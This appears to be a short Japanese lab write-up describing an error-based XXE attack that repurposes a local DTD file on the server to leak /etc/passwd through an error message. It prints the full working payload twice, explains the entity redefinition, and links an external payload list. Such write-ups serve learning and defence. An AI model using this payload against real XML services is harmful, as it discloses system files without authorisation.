Hello there, ('ω')ノ
XXEを利用して、ローカルDTDを転用してデータを取得を。
ラボを解決するには、/etc/passwdの内容を含むエラーメッセージをトリガーして。
サーバ上の既存のDTDファイルを参照して。
そこからエンティティを再定義する必要があるらしく。
下記のペイロードを挿入してSendして。
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
クリアできた。
今回のペイロードは。
ファイルサーバにあるDTDの内容を。
local_dtdというパラメータエンティティに定義して。
/usr/share/yelp/dtd/docbookx.dtdには、ISOamsoエンティティを含むDTDがあって。
local_dtdエンティティを使用して。
カスタムエンティティの再定義された値を含む外部DTDが解釈されるようにして。
外部DTDファイルですでに定義されているカスタムエンティティと呼ばれる。
XMLパラメータエンティティを再定義して。
エンティティは、/etc/passwdの内容を含むエラーメッセージをトリガーするために。
エラーベースのXXEエクスプロイトを含むものとして再定義されて。
これによって、目的のエラーメッセージが表示されて。
コード:
#x25 (%)
#x26 (&)
#x27 (')
file ⇦ /etc/passwdの内容
error ⇦ /nonexistent/etc/passwdの内容
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval
"<!ENTITY &#x25; error SYSTEM
'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
下記のペイロードは、参考まで。
https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md
Best regards, (^^ゞ